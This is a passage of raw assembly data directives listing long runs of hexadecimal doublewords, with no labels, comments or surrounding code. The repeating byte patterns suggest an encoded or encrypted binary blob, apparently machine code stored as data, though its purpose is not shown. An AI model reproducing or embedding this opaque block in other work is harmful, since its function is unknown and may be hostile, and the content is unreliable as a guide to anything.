0CCCE9E76h, 1DD08917h, 761F8C8Dh, 8963CE9Ah dd 8C91C6A4h, 9C9CAC24h, 157B6B9Ch, 63617019h, 99A86363h dd 8C95AAFCh, 0B5608963h, 1B758C99h, 0F49C9C9Fh, 8C8D1795h dd 63C6E374h, 911CC63h, 63636160h, 0B08963CEh, 118C9C6Ch dd 63626119h, 1911CC63h, 63636160h, 0B08963CCh, 1F8C9C6Ch dd 63F48858h, 119C9C9Ch, 63626119h, 0AC24CC63h, 6B9C9C9Ch dd 7019157Bh, 63636361h, 0AAF899A8h, 89638C95h, 8C8DECA4h dd 8D1E9C3Dh, 9F741F8Ch, 61092293h, 0A5636362h, 0F4D3E94Ch dd 8C8D167Bh, 63C68B74h, 8917C563h, 8C8D1D64h, 0CE9B761Fh dd 1EC08917h, 761F8C8Dh, 17CCCE99h, 8D1DC889h, 9B761F8Ch dd 0A48963CEh, 248C91C6h, 9C9C9CACh, 19157B6Bh, 63636174h dd 0F899A863h, 638C95AAh, 99B56089h, 9E4C758Ch, 7EF49C9Ch dd 748C8D16h, 6363C554h, 600911CCh, 0CE636361h, 6CB08963h dd 19118C9Ch, 63636261h, 601911CCh, 0CC636361h, 6CB08963h dd 581F8C9Ch, 9C63F488h, 19119C9Ch, 63636261h, 9CAC24CCh dd 7B6B9C9Ch, 61741915h, 0A8636363h, 95AAF499h, 0A489638Ch dd 938C8DECh, 1DC09923h, 999F8C8Dh, 8C8D1D5Ch, 939F741Fh dd 62610922h, 4CA56363h, 9DB51893h, 11119C9Ch, 63636261h dd 0DC63541Fh, 9C9DA01Ch, 239365E9h, 8D1EE891h, 0C0919F8Ch dd 1F8C8D1Eh, 54A59E75h, 9D9D1E93h, 23939C9Ch, 8D1E8899h dd 9F741F8Ch, 62671914h, 0BE776363h, 67192A93h, 16636362h dd 62619918h, 0A5A06363h, 0ACA098E3h, 487599E1h, 1C9C9C9Ch dd 63626719h, 11119D63h, 63636261h, 0DC63541Fh, 9C9DA01Ch dd 2A9365E9h, 63626711h, 0EE5DA563h, 9923935Fh, 8C8D1D50h dd 1D44999Fh, 741F8C8Dh, 60191491h, 77636362h, 601916EAh dd 14636362h, 63617B19h, 93B57763h, 617B192Ah, 22936363h dd 62619918h, 2A936363h, 63626009h, 8229363h, 63626189h dd 0E94CA563h, 7B191CBEh, 9D636361h, 62611111h, 541F6363h dd 0A01CDC63h, 65E99C9Dh, 7B112A93h, 0A5636361h, 9320EE5Dh dd 617B192Ah, 2A936363h, 63626009h, 174CB563h, 8D1DFC89h dd 9E761F8Ch, 0B7E34CA5h, 6260191Ch, 119D6363h, 63626111h dd 63541F63h, 9DA01CDCh, 9365E99Ch, 6260112Ah, 5DA56363h dd 63F71E93h, 5756363h, 3D9C9C9Ch, 8C8D1DACh, 9C9B5099h dd 8923939Ch, 8C8D1EE8h, 63CC4C9Dh, 91C6B889h, 1635F48Ch dd 8D748C8Dh, 156363C4h, 63617819h, 160EF463h, 9D748C8Dh dd 936363C4h, 1C788923h, 0CCCE8C8Dh, 61780917h, 63CE6363h dd 8D1D9CA9h, 0A489638Ch, 0F48C91C6h, 8C8D1612h, 63CB4774h dd 8C581F63h, 9CAC24CCh, 7B6B9C9Ch, 617C1915h, 5E156363h dd 0F489A863h, 638C95AAh, 8DC6C889h, 9CAC248Ch, 7B6B9C9Ch dd 61401915h, 0A8636363h, 95AAF499h, 6089638Ch, 758C99B5h dd 9C9C9C06h, 8D1615F4h, 0CB0E748Ch, 11CC6363h, 63616009h dd 8963CE63h, 8C9C6CB0h, 62611911h, 11CC6363h, 63616019h dd 8963CC63h, 8C9C6CB0h, 9C9CAC24h, 157B6B9Ch, 63614419h dd 99A86363h, 8C95AAC4h, 0AD748963h, 19118C99h, 63636160h dd 888963CCh, 1F8C9D9Ch, 99F68458h, 9C9CAC24h, 157B6B9Ch dd 63614819h, 99A86363h, 8C95AAC8h, 0C6C48963h, 0AC248C8Dh dd 6B9C9C9Ch, 4C19157Bh, 3D636361h, 8C8D1D7Ch, 1E98999Fh dd 741F8C8Dh, 4C091790h, 15636361h, 0AACC8998h, 443D8C95h dd 158C8D1Dh, 0F8A19F5Bh, 1F8C8D1Eh, 48759673h, 249C9C9Ch dd 9C9C9CACh, 0D9157B6Bh, 99A8A764h, 8C95AAFCh, 0E963B8E9h dd 8CE96388h, 0AC24CACFh, 6B9C9C9Ch, 68D9157Bh, 0EC99A863h dd 638C95AAh, 95C56089h, 9C31758Ch, 0AC249C9Ch, 6B9C9C9Ch dd 6CD9157Bh, 0F899A8A7h, 0E98C95AAh, 88E963BDh, 0CF8CE963h dd 9CAC24CAh, 7B6B9C9Ch, 6370D915h, 0AAE899A8h, 89638C95h dd 8C95C560h, 0AC24E577h, 6B9C9C9Ch, 74D9157Bh, 0C099A8A5h dd 0E98C95AAh, 88E963BDh, 0CF8CE963h, 9CAC24CAh, 7B6B9C9Ch dd 6378D915h, 0AAE099A8h, 89638C95h, 8C95C560h, 0AC24D977h dd 6B9C9C9Ch, 7CD9157Bh dd 0F499A8A5h, 0E98C95AAh, 88E963BDh, 0CF8CE963h, 9CAC24CAh dd 7B6B9C9Ch, 6340D915h, 0AAE499A8h, 89638C95h, 8C95C560h dd 3DDB8D77h, 8C8D1D04h, 0A5FD5C1Fh, 801E935Bh, 0C3636363h dd 5E55C7C2h, 9D249C8Ch, 5E1C9CDCh, 15C99C8Ch, 9C982479h dd 49749C9Dh, 0CF9C9CBEh, 0E917CBCAh, 0DCA11194h, 1C8C95A9h dd 0E9DF90E1h, 3CA1119Ah, 1C8C9DBCh, 0E9CC90E1h, 0ACA1119Ah dd 3D8C95D5h, 8C8D1D60h, 1D48999Fh, 741F8C8Dh, 1CF4CC95h dd 0F69C9C9Ch, 1DB83D9Fh, 741F8C8Dh, 9FF6CC95h, 9C9C9CF4h dd 8963CB5Ch, 8C8DF084h, 23935B15h, 8D1C2C99h, 625C1F8Ch dd 189364A5h, 9C9C9C20h, 0E83D9CF6h, 938C8D1Dh, 1D308923h dd 4C9D8C8Dh, 0CC9B741Fh, 8963CBCAh, 8C8DECACh, 6C992393h dd 9F8C8D1Ch, 8D1ECC99h, 99741F8Ch, 60D911CCh, 6363F4CCh dd 19119C9Ch, 63626361h, 8963CBCCh, 8C9C6CA8h, 9C9D1111h dd 541F6363h, 0A01CDC63h, 65E99C9Dh, 0B8892393h, 1F8C8D1Eh dd 5F159F5Eh, 0C1154F9Dh, 939CF660h, 1D089923h, 741F8C8Dh dd 0CBCACC9Bh, 0ECAC8963h, 0A9178C8Dh, 8C8D1D38h, 1560C117h dd 63792900h, 23936362h, 8D1E9099h, 0D911CC8Ch, 2393CC60h dd 8D1DD899h, 34999F8Ch, 1F8C8D1Ch, 11CC9974h, 62636119h dd 63CBCC63h, 8DEC8089h, 8963CB8Ch, 8C95D6D4h, 55C7C2C3h dd 7915C95Fh, 90E117CBh, 0FA84D917h, 9384D915h, 1D209923h dd 89178C8Dh, 8C8D1C0Ch, 688C1811h, 0A59C9C9Ch, 6391E964h dd 887480E9h, 0C5636344h, 0BA775CADh, 8D1D783Dh, 9C61998Ch dd 999F9C9Ch, 8C8D1DE8h, 91E95BA5h, 7480E963h, 636308E4h dd 775CADC5h, 9C9F2499h, 0C1C31C9Eh, 0C99CB85Eh, 0CACF7915h dd 94C117CBh, 0CF90E917h, 6C9C8963h, 5B158C9Ch, 8D1C243Dh dd 94741F8Ch, 1C583DCCh, 741F8C8Dh, 0D43DCC95h, 998C8D1Eh dd 9C9C8367h, 0CFCBCACCh, 8D1DE83Dh, 8923938Ch, 8C8D1C3Ch dd 741F4C9Dh, 9CF6CC94h, 6C8C8963h, 0F83D8C9Ch, 938C8D1Eh dd 1DBC8923h, 4C9D8C8Dh, 149A741Fh, 6415A298h, 0C1C7C2C3h dd 7915C95Fh, 0CFCC701Fh, 0C117CBCAh, 0EC896394h, 158C8DC7h dd 0A91760D9h, 8C8D1D5Ch, 8917F477h, 8C8D1C48h, 1EEC899Fh dd 761F8C8Dh, 2988A590h, 8C9D8C7Ch, 8817D3E8h, 95D6CC29h dd 70C9158Ch, 1D7C9117h, 5D1D8C8Dh, 9C9C76CBh, 8D1D903Dh dd 8923938Ch, 8C8D1C44h, 5E154C9Dh, 9391761Fh, 0C9175633h dd 0A7569D70h, 85EF60C9h, 1DA88917h, 23938C8Dh, 8D1DB091h dd 1F569D8Ch, 88159176h, 9D8C7C29h, 2393DA8Ch, 8D1EE899h dd 9F7B998Ch, 5AA59C9Ch, 9F1714EEh, 116CD915h, 44159F80h dd 0A794D9B7h, 1F9390D9h, 9C9C9D44h, 8D1C243Dh, 98999F8Ch dd 1F8C8D1Eh, 0D9A59B74h, 154BEB6Ch, 63541F45h, 9DA01CDCh dd 1565E99Ch, 441568D9h, 9394D9B7h, 1C2C8923h, 5E1F8C8Dh dd 154CB59Fh, 0A11764D9h, 8C8D1DB8h, 7795731Fh, 0A19816B3h dd 8C9DBD2Ch, 0E984D9A6h, 64C917BEh, 0BC2188A5h, 0E98C9D9Ch dd 5889178Ah, 1F8C8D1Ch, 88A59576h, 9D8C7C21h, 0D119938Ch dd 0DB9C9C9Dh, 8D1C483Dh, 9F7D998Ch, 5BA59C9Ch, 23935FEEh dd 8D1EDC99h, 9F23998Ch, 0D9A59C9Ch, 4A1A9368h, 3D9C9C9Ch dd 8C8D1EA4h, 9F985C1Fh, 8D1D8899h, 0D911CC8Ch, 0EE74CC2Dh dd 1F9C9C91h, 23939458h, 8D1C7099h, 8923938Ch, 8C8D1DF4h dd 741F4C9Dh, 78D91598h, 8D1EA43Dh, 9F2B998Ch, 999F9C9Ch dd 8C8D1D10h, 1774D915h, 981674D9h, 7FD9149Fh, 1774D917h dd 8D1D6C89h, 9C899F8Ch, 1F8C8D1Eh, 88149076h, 937CF49Fh dd 0E9638C9Dh, 78E96368h, 0CC2DD911h, 6388D917h, 94E963ACh dd 8CE963CFh, 8D1ED43Dh, 8923938Ch, 8C8D1C70h, 741F4C9Dh dd 9C63B998h, 74CC9C9Ch, 636355A6h, 17B8581Fh, 0D91574D9h dd 7FC91678h, 3D9F8814h, 8C8D1C24h, 9C9F2A99h, 8923939Ch dd 8C8D1D1Ch, 0D99D4C9Dh, 68D91774h, 0EA74D9A5h, 74D9159Fh dd 0A568D917h, 0CFEF78D9h, 6363F275h, 1618F463h, 7D748C8Dh dd 0F46363CDh, 8C9D937Ch, 1768E963h, 8D1D5C89h, 38899F8Ch dd 1F8C8D1Dh, 0CCCE9A76h, 6388C917h, 94E963AEh, 8CE963CFh dd 30892393h, 9F8C8D1Ch, 8D1ECC89h, 95761F8Ch, 9C637E1Dh dd 74CE9C9Ch, 6363542Eh, 17B4581Fh, 9C6388D9h, 68D917DFh dd 179F8011h, 239388D9h, 8D1D8C89h, 8F5E1F8Ch, 1A938CA5h dd 6363628Eh, 8D161CF4h, 0CDEE748Ch, 7CF46363h, 938C9D93h dd 1D548923h, 4D158C8Dh, 0CD9B751Fh, 1C049117h, 751F8C8Dh dd 17CCCD9Eh, 8D1C6891h, 9E751F8Ch, 0F09117CDh, 938C8D1Dh dd 1E8C9923h, 5D9D8C8Dh, 0CD90751Fh, 30912393h, 938C8D1Dh dd 1EC89923h, 5D9D8C8Dh, 0CD92751Fh, 938CE963h, 1E889123h dd 4D9D8C8Dh, 761F5615h, 637E1D95h, 0CE9C9C9Ch, 63548574h dd 0B4581F63h, 55C7C2C3h, 7915C95Fh, 94E963CBh, 1E3CA963h dd 89638C8Dh, 8C9DBD30h, 0C1C35B15h, 0ECF4CB5Fh, 748C8D16h dd 6363CC40h, 8963CCC5h, 8C9DB904h, 8D1E3C3Fh, 1DF83D8Ch dd 999F8C8Dh, 8C8D1C00h, 0A59B741Fh, 8D1E3C99h, 0F48BE98Ch dd 8C8D16FCh, 63CC3374h, 63CCC563h, 99AF8489h, 1E3C3F8Ch dd 0DEF48C8Dh, 748C8D16h, 6363CC04h, 630F74CCh, 743F6363h dd 0F48C99B5h, 8C8D16B7h, 63CC1F74h, 0E274CC63h, 3F636363h dd 8C95C68Ch, 8D168CF4h, 0CCF2748Ch, 74CC6363h, 636363F5h dd 9C6CCC3Fh, 156FF48Ch, 0C5748C8Dh, 0CC6363CCh, 6363C874h dd 0BD343F63h, 43F48C9Dh, 748C8D15h, 6363CCD8h, 63A374CCh dd 0F43F6363h, 0F48C8DC6h, 8C8D1557h, 63CCB374h, 0B674CC63h dd 3F636363h, 8C9DBC1Ch, 8D1537F4h, 0CC86748Ch, 74CC6363h dd 63636389h, 9D9C943Fh, 1512F48Ch, 99748C8Dh, 0CC6363CCh dd 63639C74h, 0AD783F63h, 0E6F48C99h, 748C8D15h, 6363D36Ch dd 627774CCh, 0D03F6363h, 0F48C9C6Ch, 8C8D15FDh, 63D34774h dd 4A74CC63h, 3F636362h, 8C9C6CBCh, 8D15CEF4h, 0D35A748Ch dd 74CC6363h, 6363625Dh, 95C6943Fh, 15DDF48Ch, 2D748C8Dh dd 0CC6363D3h, 63623074h, 0B9003F63h, 0B7F48C9Dh, 748C8D15h dd 6363D300h, 620B74CCh, 403F6363h, 0F48C99B5h, 8C8D158Eh dd 63D31B74h, 1E74CC63h, 3F636362h, 8C95D580h, 8D159EF4h dd 0D3EE748Ch, 74CC6363h, 636362F1h, 3FE4581Fh, 8C9DB93Ch dd 15C95FC3h, 0E917FC79h, 842C248Ch, 1A158C9Ch, 9C9C9C24h dd 1590D917h, 9C9C581Ah, 7015FD9Ch, 5F5CADC1h, 7915C95Fh dd 93CBCFCDh, 2594D92Ah, 9C9C9CB7h, 3C221F26h, 5D7E6BB3h dd 0C9159F76h, 154B1560h, 94C11467h, 94D92A93h, 8C892393h dd 1F8C8D1Dh, 4CA59F5Eh, 0F3249BE9h, 779C9C9Ch, 1DCC3DE3h dd 741F8C8Dh, 0C92A9398h, 0E94CA594h, 9CF9249Bh, 0F4779C9Ch dd 94D92A93h, 1C208917h, 23938C8Dh, 8D1C5091h, 1F569D8Ch dd 4CA59E76h, 0F5249BE9h, 779C9C9Ch, 0D92A93DBh, 84891794h dd 1F8C8D1Dh, 4CA59476h, 0E5249BE9h, 779C9C9Ch, 0D92A93B3h dd 7C891794h, 1F8C8D1Dh, 4CA59B76h, 0E9249BE9h, 779C9C9Ch dd 0D92A938Bh, 89239394h, 8C8D1E88h, 0A59E5E1Fh, 2499E94Ch dd 9C9C9CFDh, 5F55C7C3h, 8D1474F4h, 0D2EA748Ch, 74CC6363h dd 6363078Ah, 95C6803Fh, 144FF48Ch, 0FD748C8Dh, 0CC6363D2h dd 63079D74h, 0BC143F63h, 5FF48C9Dh, 748C8D14h, 6363D2D0h dd 67074CCh, 5C3F6363h dd 0F48C9D93h, 8C8D142Ah, 63D2AB74h, 4B74CC63h, 3F636306h dd 8C8DEC80h, 8D143BF4h, 0D2BE748Ch, 74CC6363h, 6363065Eh dd 95D58C3Fh, 140EF48Ch, 91748C8Dh, 0CC6363D2h, 63063174h dd 0C6D03F63h, 0EBF48C8Dh, 748C8D14h, 6363D164h, 60474CCh dd 0D83F6363h, 0F48C95D6h, 8C8D14F5h, 63D17F74h, 1F74CC63h dd 3F636306h, 8C8DC6FCh, 8D14C1F4h, 0D152748Ch, 74CC6363h dd 636306F2h, 9C6CA83Fh, 14DBF48Ch, 25748C8Dh, 0CC6363D1h dd 6306C574h, 0D5843F63h, 0ACF48C95h, 748C8D14h, 6363D138h dd 6D874CCh, 683F6363h, 0F48C99B5h, 8C8D1482h, 63D11374h dd 0B374CC63h, 3F636306h, 8C9DB934h, 8D149BF4h, 0D1E6748Ch dd 74CC6363h, 63630686h, 91C6BC3Fh, 1B68F48Ch, 0F9748C8Dh dd 0CC6363D1h, 63069974h, 0F08C3F63h, 40F48C8Dh, 748C8D1Bh dd 6363D1CCh, 56C74CCh, 643F6363h, 0F48C99B5h, 8C8D1B57h dd 63D1A774h, 4774CC63h, 3F636305h, 8C9D9354h, 8D1B27F4h dd 0D1BA748Ch, 74CC6363h, 6363055Ah, 8DC7EC3Fh, 1B37F48Ch dd 8D748C8Dh, 0CC6363D1h, 63052D74h, 0AF803F63h, 0F48C99h dd 748C8D1Bh, 6363D060h, 50074CCh, 883F6363h, 0F48C95C6h dd 8C8D1B11h, 63D07B74h, 1B74CC63h, 3F636305h, 8C8DF080h dd 8D1BE3F4h, 0D04E748Ch, 74CC6363h, 636305EEh, 99B5703Fh dd 1BEFF48Ch, 21748C8Dh, 0CC6363D0h, 6305C174h, 6C9C3F63h dd 0F8F48C9Ch, 748C8D1Bh, 6363D034h, 5D474CCh, 903F6363h dd 0F48C9C6Ch, 8C8D1BCBh, 63D00F74h, 0AF74CC63h, 3F636305h dd 8C9DB950h, 8D1BA3F4h, 0D0E2748Ch, 74CC6363h, 63630582h dd 9C6C883Fh, 1BB4F48Ch, 0F5748C8Dh, 0CC6363D0h, 63059574h dd 0C6A83F63h, 8CF48C91h, 748C8D1Bh, 6363D0C8h, 46874CCh dd 0E43F6363h, 0F48C8DC7h, 8C8D1A6Bh, 63D0A374h, 4374CC63h dd 3F636304h, 8C95C698h, 8D1A7AF4h, 0D0B6748Ch, 74CC6363h dd 63630456h, 95A9AC3Fh, 1A4AF48Ch, 89748C8Dh, 0CC6363D0h dd 63042974h, 6CD83F63h, 59F48C9Ch, 748C8D1Ah, 6363D09Ch dd 43C74CCh, 0F83F6363h, 0F48C8DC6h, 8C8D1A32h, 63D77774h dd 1774CC63h, 3F636304h, 8C9DB92Ch, 8D1A00F4h, 0D74A748Ch dd 74CC6363h, 636304EAh, 8DECAC3Fh, 1A14F48Ch, 5D748C8Dh dd 0CC6363D7h, 6304FD74h, 6CDC3F63h, 0E4F48C9Ch, 748C8D1Ah dd 6363D730h, 4D074CCh, 903F6363h, 0F48C95C6h, 8C8D1AF7h dd 63D70B74h, 0AB74CC63h, 3F636304h, 8C95AAD8h, 8D1AC9F4h dd 0D71E748Ch, 74CC6363h, 636304BEh, 99AF883Fh, 1AD6F48Ch dd 0F1748C8Dh, 0CC6363D7h, 63049174h, 0BC083F63h, 0A5F48C9Dh dd 748C8D1Ah, 6363D7C4h, 0B6474CCh, 0A43F6363h, 0F48C9C6Ch dd 8C8D1AB6h, 63D7DF74h, 7F74CC63h, 3F63630Bh, 8C8DECB0h dd 8D1A87F4h, 0D7B2748Ch, 74CC6363h, 63630B52h, 8DF0843Fh dd 1A98F48Ch, 85748C8Dh, 0CC6363D7h, 630B2574h, 6C8C3F63h dd 6FF48C9Ch, 748C8D19h, 6363D798h, 0B3874CCh, 0B43F6363h dd 0F48C8DECh, 8C8D197Ah, 63D67374h, 1374CC63h, 3F63630Bh dd 8C9DB920h, 8D1948F4h, 0D646748Ch, 74CC6363h, 63630BE6h dd 9DF4581Dh, 0B43F9C9Ch, 5F8C95AFh, 247915C9h, 9C9D9CACh dd 9C8B3F74h, 0CBCACF9Ch, 8D1D783Dh, 99741F8Ch, 935899A7h dd 18938C9Dh, 9C9C9EA8h, 8992393h, 1F8C8D1Dh, 3DCC9B74h dd 8C8D1E98h, 1C4C999Fh, 741F8C8Dh, 0C43DCC9Bh, 0D48C8D1Dh dd 60D911CCh, 588963CCh, 158C9D93h, 1D483D5Fh, 23938C8Dh dd 8D1DBC89h, 1F4C9D8Ch, 5FA59074h, 9D721993h, 0D9119C9Ch dd 0FC3DCC74h, 1F8C8D1Dh, 3DCC9974h, 8C8D1D38h, 3C892393h dd 9D8C8D1Ch, 91741F4Ch, 60D917CCh, 63A417CCh, 5F15A4CBh dd 8D1C583Dh, 8923938Ch, 8C8D1DDCh, 741F4C9Dh, 9344A592h dd 9C9D1319h, 1EEC3D9Ch, 23938C8Dh, 8D1C7089h, 1F4C9D8Ch dd 11CC9974h, 93CC70D9h, 1D349923h, 23938C8Dh, 8D1EFC89h dd 1F4C9D8Ch, 17CC9474h, 17CC74D9h, 90CB63A4h, 23935F15h dd 8D1DBC99h, 9F741F8Ch, 19935FA5h, 9C9C9DBAh, 0CC78D911h dd 8D1C5C3Dh, 0AC999F8Ch, 1F8C8D1Eh, 11CC9A74h, 93CC70D9h dd 1DEC9923h, 999F8C8Dh, 8C8D1E94h, 0CC9F741Fh, 0CC60D917h dd 0CB63A417h, 935F15A0h, 1E889923h, 741F8C8Dh, 935FA59Fh dd 6363E819h, 1C403D63h, 741F8C8Dh, 0D911CC9Bh, 0CC3DCC48h dd 0D48C8D1Eh, 78D917CCh, 63A417CCh, 5F1590CBh, 8D1D003Dh dd 0C999F8Ch, 1F8C8D1Ch, 44A59474h, 63A31993h, 0A43D6363h dd 1F8C8D1Dh, 11CC9F74h, 62634C19h, 0D911CC63h, 0D911CC48h dd 9C3DCC70h, 9F8C8D1Eh, 8D1DF099h, 90741F8Ch, 60D917CCh dd 63A417CCh, 5F15B4CBh, 78992393h, 938C8D1Ch, 1DBC8923h dd 4C9D8C8Dh, 0B0892393h, 1F8C8D1Dh, 8149976h, 62634E99h dd 1EF03D63h, 741F8C8Dh, 0E95FA594h, 49191184h, 0CC636263h dd 634C1917h, 0EC636362h, 68E17498h, 581F6363h, 49191194h dd 0CC636263h, 1F48E911h, 7B158C70h, 9C9C9825h, 11396F9Ch dd 701F70E9h, 257B158Ch, 9C9C9C98h, 0E963396Fh, 0FFE87460h dd 581F6363h, 638375B4h, 603D6363h, 0A58C8D1Dh, 95E878D9h dd 0CC78D917h, 0CA63AC17h, 74E11F94h, 1795E89Ch, 17CC74D9h dd 94CA63ACh, 8D1D7C3Dh, 0A8999F8Ch, 1F8C8D1Dh, 0D9A58D74h dd 1795E860h, 17CC60D9h, 94CA63ACh, 55C7C2C3h, 7915C95Fh dd 0CBCACFCDh, 9394D917h, 3D842Ah, 998C8D1Dh, 9C9C9C64h dd 1E84999Fh, 33938C8Dh, 94D91744h, 9DDC2A93h, 23935F9Dh dd 8D1EA099h, 9C61998Ch, 33939C9Ch, 94D91744h, 9EDC2A93h dd 0A9175F9Dh, 8C8D1D2Ch, 779B721Fh, 0ACA117DCh, 1F8C8D1Eh dd 6BB59E73h, 1590C917h, 461560C9h, 9CA37E1Dh, 99E11C9Ch dd 5C561FD6h, 898816DEh, 8C8DECDCh, 1460D117h, 4415A588h dd 1EA49117h, 5D1F8C8Dh, 656B05ABh, 5A1F5F15h, 9923939Dh dd 8C8D1D98h, 1E98999Fh, 741F8C8Dh, 0E05AA598h, 0C7C2C330h dd 15C95F55h, 0ECA0F479h, 89638C8Dh, 8C99B564h, 8DECA03Dh dd 985EC18Ch, 7915C99Ch, 0CBCACFCDh, 1794D917h, 6B15A0ECh dd 0DB175B9Dh, 6C8917B4h, 9F8C95C5h, 5A1594C9h, 2A934A9Dh dd 0D16C1F9Ah, 9363D914h, 939DDA2Ah, 1EE88923h, 91178C8Dh dd 8C8D1DA8h, 6B960811h, 159C9C9Dh, 4633935Fh, 1590D917h dd 34A11784h, 1F8C8D1Ch, 92779A73h, 0A2982A93h, 63C92A93h dd 98144CADh, 43A5DBA2h, 6C1572EEh, 55C7C2C3h, 7915C95Fh dd 9C8C9C24h, 8886749Ch, 0CACF9C9Ch, 195EF4CBh, 0B9748C8Dh dd 0C56363DBh, 1C64A917h, 0A99F8C8Dh, 8C8D1ED8h, 0CA97721Fh dd 0A92393CCh, 8C8D1DECh, 6C812393h, 9D8C8D1Ch, 98721F42h dd 94E963CAh, 0C6AC8963h, 5B158C91h, 8D1EF03Dh, 94741F8Ch dd 9FE964A5h, 0F494E117h, 8C8D1930h, 63DA4774h, 0A963C563h dd 8C8D1C20h, 2CA917CCh, 1F8C8D1Dh, 0CBCA9B72h, 0C6AC8963h dd 5B158C91h, 6C9D1911h, 0F4CC6363h, 9C9C9363h, 63CB91F6h dd 9C6C8489h, 1DE43D8Ch, 999F8C8Dh, 8C8D1E9Ch, 6099201Ch dd 0BC636373h, 239389E9h, 8D1EDC99h, 99201C8Ch, 63636C9Ch dd 2D1893BCh, 119C9C9Ch, 636C9D11h, 63541F63h, 9DA01CDCh dd 9365E99Ch, 1D348123h, 5F1F8C8Dh, 9344A591h, 9C9C131Eh dd 1D643D9Ch, 999F8C8Dh, 8C8D1C34h, 6E99201Ch, 0F4636373h dd 0C43D93E9h, 1C8C8D1Dh dd 6C9D9920h, 0E8E86363h, 193BF4F7h, 0AD748C8Dh, 176363DAh dd 8D1D78A9h, 8123938Ch, 8C8D1C6Ch, 721F429Dh, 11CCCA98h dd 636C9D29h, 3874CA63h, 1F636326h, 81178C58h, 8C8D1C48h dd 63695F1Dh, 23939C9Ch, 8D1EA089h, 0A54F9D8Ch, 0F4B9E95Fh dd 8C8D193Dh, 63D97774h, 17CCC563h, 8D1EB0A9h, 0ECA99F8Ch dd 1F8C8D1Eh, 0F6CA9A72h, 8963CB90h, 8C9C6C84h, 55C7C2C3h dd 7915C95Fh, 0CBCACFCDh, 1794C117h, 8D1DB8A9h, 95721F8Ch dd 1ED8A117h, 731F8C8Dh, 17FF779Bh, 2B9390C9h, 2B93E688h dd 569DE790h, 0C9156E9Dh, 99239360h, 8C8D1DECh, 1D188917h dd 18118C8Dh, 9C636A8Ch, 60D9A59Ch, 0A91782EAh, 8C8D1D74h dd 3D9A721Fh, 8C8D1D44h, 9C636899h, 78999F9Ch, 0B58C8D1Dh dd 8E7760D9h, 6C992393h, 158C8D1Ch, 0ECA99F5Ah, 1F8C8D1Eh dd 0C9179472h, 8815FA60h, 0C3DDBE7h, 1F8C8D1Dh, 5BA5865Ch dd 6C150DEEh, 55C7C2C3h, 7915C95Fh, 17CBCACFh, 0A91794C1h dd 8C8D1DE4h, 779F721Fh, 0CC8963AEh, 268C8DEDh, 8CFED14Fh dd 6B5D15CDh, 9B665D76h, 0B583655Dh, 0C54C1556h, 1D18A117h dd 5B1F8C8Dh, 6CA19FCCh, 158C8D1Dh, 14669D5Eh, 0A7DAAF88h dd 55E090E9h, 1790D917h, 8D1D2889h, 4C899F8Ch, 1F8C8D1Dh dd 88149876h, 0C344159Fh, 5FC1C7C2h, 247915C9h, 9C9A8238h dd 9C8D3774h, 0CBCACF9Ch, 1F90C117h, 606D2C39h, 23939C63h dd 8D1D0899h, 9B741F8Ch, 992393CCh, 8C8D1E88h, 1C64999Fh dd 741F8C8Dh, 9FF6CC9Bh, 70992393h, 938C8D1Dh, 1E908923h dd 4C9D8C8Dh, 0CC9F741Fh, 0B0992393h, 1F8C8D1Dh, 0F4CC9974h dd 1C9C9C9Ch, 6394E963h, 8DF08489h, 2419158Ch, 1F63606Dh dd 606C3439h, 5C3D9C63h, 1F8C8D1Ch, 19A5625Ch, 63606D24h dd 9A941893h, 0F03D9C9Ch, 1F8C8D1Dh, 11CC9574h, 606D2819h dd 2393CC63h, 8D1DBC99h, 6889178Ch, 118C8D1Dh, 0CCE08CD8h dd 6D5D1911h, 63CC6360h, 606D2429h, 0A8896363h, 158C9C6Ch dd 606D2019h, 1DE43D63h, 999F8C8Dh, 8C8D1EB0h, 2399201Ch dd 0DA63606Dh, 0F03DFBE9h, 1C8C8D1Dh, 6D259920h, 0E9D56360h dd 992393C4h, 8C8D1EC8h, 8892393h, 9D8C8D1Ch, 99201C4Ch dd 63606D2Ah, 3DA2E9DBh, 8C8D1DC8h, 70892393h, 9D8C8D1Ch dd 99201C4Ch, 63606D21h, 93BAE9A4h, 1EFC9923h, 201C8C8Dh dd 606D2099h, 89E9A563h, 8D1D183Dh, 0A4999F8Ch, 1C8C8D1Eh dd 6D299920h, 0E8FD6360h, 99B27599h, 283D9C9Ch, 1F8C8D1Ch dd 19A79874h, 63606D20h, 99861893h, 0C83D9C9Ch, 1F8C8D1Dh dd 2393EF5Ch, 8D1EC889h, 1C4C9D8Ch, 6D5D9920h, 0E9A16360h dd 992393A1h, 8C8D1D30h, 1C7C8917h, 0D8118C8Dh, 2A93BF8Ch dd 6D5D9918h, 23936360h, 8D1EB489h, 2091178Ch, 118C8D1Ch dd 0A5A996C8h, 3D93E94Ch, 8C8D1C0Ch, 0DD99201Ch, 0A163606Eh dd 217599E8h, 3D9C9C98h, 8C8D1ED0h, 0A599741Fh, 74CAE944h dd 63631356h, 9145E15h, 63657FFEh, 78992393h, 938C8D1Ch dd 1EF48923h, 18118C8Dh, 9C9C1C8Ch, 99201C9Ch, 63606D5Dh dd 5B90E9DCh, 606D2C19h, 9C9C9D63h, 1682779Ch, 606ED819h dd 0FF191463h, 1663657Fh, 657FFE19h, 0FF19A663h, 9363657Fh dd 9C98C718h, 1C603D9Ch, 741F8C8Dh, 1911CC9Eh, 63606D28h dd 91DCF4CCh, 19119C9Fh, 63657FF4h, 242963CCh, 6363606Dh dd 9C6CA889h, 2019158Ch, 3D63606Dh, 8C8D1C20h, 98892393h dd 9D8C8D1Dh, 99741F4Ch, 6D2019A5h, 18936360h, 9C9C988Ch dd 6D281917h, 89176360h, 8C8D1D48h, 1D0C899Fh, 761F8C8Dh dd 99081493h, 63657FF4h, 9F91DCF4h, 5C19119Ch, 0CC63606Eh dd 7FF41911h, 74CC6365h, 636321D5h, 1590581Fh, 0FCA1175Ah dd 1F8C8D1Dh, 0D1779973h, 8D1C403Dh, 9B741F8Ch, 8FE85FA5h dd 0A1182A93h, 63606E5Ch, 181464B5h, 606E5CA1h, 93B17763h dd 5CA1182Ah, 1563606Eh, 657EC019h, 6B641563h, 0C419157Bh dd 1763657Eh, 657EC019h, 0C4091763h, 0B563657Eh, 0A118144Ch dd 63606E5Ch, 0EE6BA5DBh, 1EAC3D33h, 23938C8Dh, 8D1C6C89h dd 1F4C9D8Ch, 5FA59474h, 0A43DBDE8h, 1F8C8D1Dh, 6E159E74h dd 0E43D5EB5h, 9F8C8D1Dh, 8D1EF899h, 9A741F8Ch, 5C891814h dd 9363606Eh, 1D209923h, 89178C8Dh, 8C8D1D4Ch, 0E78CD811h 